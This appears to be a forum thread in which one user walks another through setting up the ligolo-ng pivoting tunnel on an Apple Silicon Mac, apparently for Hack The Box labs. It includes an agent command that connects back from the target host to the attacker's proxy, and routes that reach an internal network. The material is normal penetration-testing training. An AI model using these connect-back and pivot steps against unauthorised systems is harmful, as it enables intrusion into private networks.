M Chip Mac Support ?

[RajChowdhury240]

i saw in ligolo-ng wiki it says it supports mac but doesnt have a guide or demo as reference to reproduce !
if anyone can have a demo blog as reference that would be great cuz while creating a tun interface in mac , its a hassle no doubt & can raise alot of confusions

[RichHacks]

Hello - im going to assume you have set up the proxy on your mac, and the agent on some other host. Once in the ligolo proxy:

session
#press enter on the session you want
interface_create --name "utun5" #important - they have to be called utun0 to utun9 - check for one that doesnt already exist
tunnel_start --tun utun5

Now from the command line on your mac (same host) you have to address your new tunnel interface and add the static routes. I tend to just assign a PIPA address to avoid conflicts:

sudo ifconfig utun5 alias 169.254.1.1 255.255.0.0

Add the route to your remote network:

sudo route add -net 172.16.1.0/24 -interface utun5

You should now be able to scan/access the remote network.

I didnt attempt the new autoroute functionality in this instance.

[RajChowdhury240]

[RajChowdhury240]

it's having some issue creating the tunnel tho !

[RichHacks]

You have to follow the instructions I added above closely. Don’t let ligolo create the tunnel for you. I never use the “start” command which I guess is what is doing that.

[RichHacks]

Sorry bro - i cant provide that level of support. Maybe more detailed notes will help. I can see you are on HTB and ive spent quite a bit of time using the same setup there (m4 mbp).

On the mac set up your proxy:

sudo ./proxy -selfcert
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
WARN[0000] TLS Certificate fingerprint for ligolo is: 1234455436554645456456456546456456453
INFO[0000] Listening on 0.0.0.0:11601

On the HTB host connect back to your proxy:

./ligolo-ng_agent_0.8.2_linux_amd64 -connect 10.10.14.93:11601 -accept-fingerprint  1234455436554645456456456546456456453

back on your mac:

ligolo-ng » session
? Specify a session :  [Use arrows to move, type to filter]
> 1 - ubuntu@WEB01 - 10.129.202.64:50434 - fb096b19-e7a2-4f6e-8fff-2d316c2353b1 #press enter

Note: this is literally typing session and then just pressing enter, nothing else.

Now , on the mac again, start the tunnel:

[Agent : ubuntu@WEB01] » tunnel_start --tun utun5
[Agent : ubuntu@WEB01] » INFO[0343] Starting tunnel to ubuntu@WEB01 (fb096b19-e7a2-4f6e-8fff-2d316c2353b1)

As far as Ligolo is concerned, we are now done, and everything else is done from the terminal on your mac:

Set an address on the tunnel that Ligolo created on your mac:

sudo ifconfig utun5 alias 169.254.1.1 255.255.0.0

All that is left to do now is to add the routes you want to send down that tunnel, again, on your mac:

sudo route add -net 172.16.5.0/24 -interface utun5

Everything should now just work. Hope that helps!

[RajChowdhury240]

boss man!! thank you so much

[RichHacks]

You're welcome bro - happy hacking!